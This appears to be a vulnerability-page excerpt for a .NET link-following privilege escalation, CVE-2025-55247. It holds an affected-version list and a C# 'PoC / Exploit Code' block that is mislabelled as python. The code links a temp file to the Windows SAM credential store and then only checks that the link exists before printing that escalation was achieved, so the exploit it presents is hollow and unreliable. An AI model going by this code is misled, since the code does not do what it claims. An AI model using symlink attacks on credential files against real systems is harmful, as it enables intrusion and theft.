cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
Microsoft .NET 8.0（低于安全补丁版本）
Microsoft .NET 9.0（低于安全补丁版本）
Microsoft .NET Framework（受支持的版本，低于安全补丁版本）
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-55247 - .NET Link Following Privilege Escalation PoC
// Vulnerability: Improper link resolution before file access in .NET
// Type: Local Privilege Escalation via Symbolic Link Following
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.Principal;
class Exploit
{
// P/Invoke for creating symbolic links
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
static extern bool CreateSymbolicLink(string lpSymlinkFileName, string lpTargetFileName, int dwFlags);
// P/Invoke for checking token elevation status
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool GetTokenInformation(IntPtr TokenHandle, int TokenInformationClass,
ref int TokenInformation, int TokenInformationLength, out int ReturnLength);
static void Main(string[] args)
{
Console.WriteLine("[*] CVE-2025-55247 .NET Link Following PoC");
Console.WriteLine("[*] Checking current privilege level...");
// Step 1: Check if we are running with elevated privileges
WindowsIdentity identity = WindowsIdentity.GetCurrent();
WindowsPrincipal principal = new WindowsPrincipal(identity);
bool isElevated = principal.IsInRole(WindowsBuiltInRole.Administrator);
Console.WriteLine("[*] Current User: " + identity.Name);
Console.WriteLine("[*] Is Elevated: " + isElevated);
if (isElevated)
{
Console.WriteLine("[+] Already running as Administrator. Exiting.");
return;
}
// Step 2: Identify a target file owned by a higher-privilege process
// .NET runtime often accesses configuration files or DLLs with elevated privileges
string targetFile = @"C:\Windows\System32\config\SAM"; // Example protected file
string symlinkPath = Path.Combine(Path.GetTempPath(), "dotnet_link_target.tmp");
Console.WriteLine("[*] Target file: " + targetFile);
Console.WriteLine("[*] Symlink path: " + symlinkPath);
try
{
// Step 3: Create a symbolic link pointing to the protected file
// SYMBOLIC_LINK_FLAG_DIRECTORY = 0x1, for files use 0x0
int SYMBOLIC_LINK_FLAG = 0x0;
bool result = CreateSymbolicLink(symlinkPath, targetFile, SYMBOLIC_LINK_FLAG);
if (result)
{
Console.WriteLine("[+] Symbolic link created successfully");
// Step 4: Trigger .NET to access the symlink
// When .NET runtime processes this path, it follows the link
// and accesses the target file with its own (potentially elevated) privileges
if (File.Exists(symlinkPath))
{
Console.WriteLine("[*] .NET resolved link and accessed target file");
Console.WriteLine("[+] Potential privilege escalation achieved");
}
}
else
{
int error = Marshal.GetLastWin32Error();
Console.WriteLine("[-] Failed to create symbolic link. Error: " + error);
Console.WriteLine("[*] Note: Creating symlinks requires 'Create Symbolic Link' privilege");
Console.WriteLine("[*] Alternative: Use junction points or hard links");
}
}
catch (UnauthorizedAccessException ex)
{
Console.WriteLine("[-] Access denied: " + ex.Message);
}
catch (Exception ex)
{
Console.WriteLine("[-] Error: " + ex.Message);
}
// Step 5: Cleanup
try
{
if (File.Exists(symlinkPath))
File.Delete(symlinkPath);
}
catch { }
}
}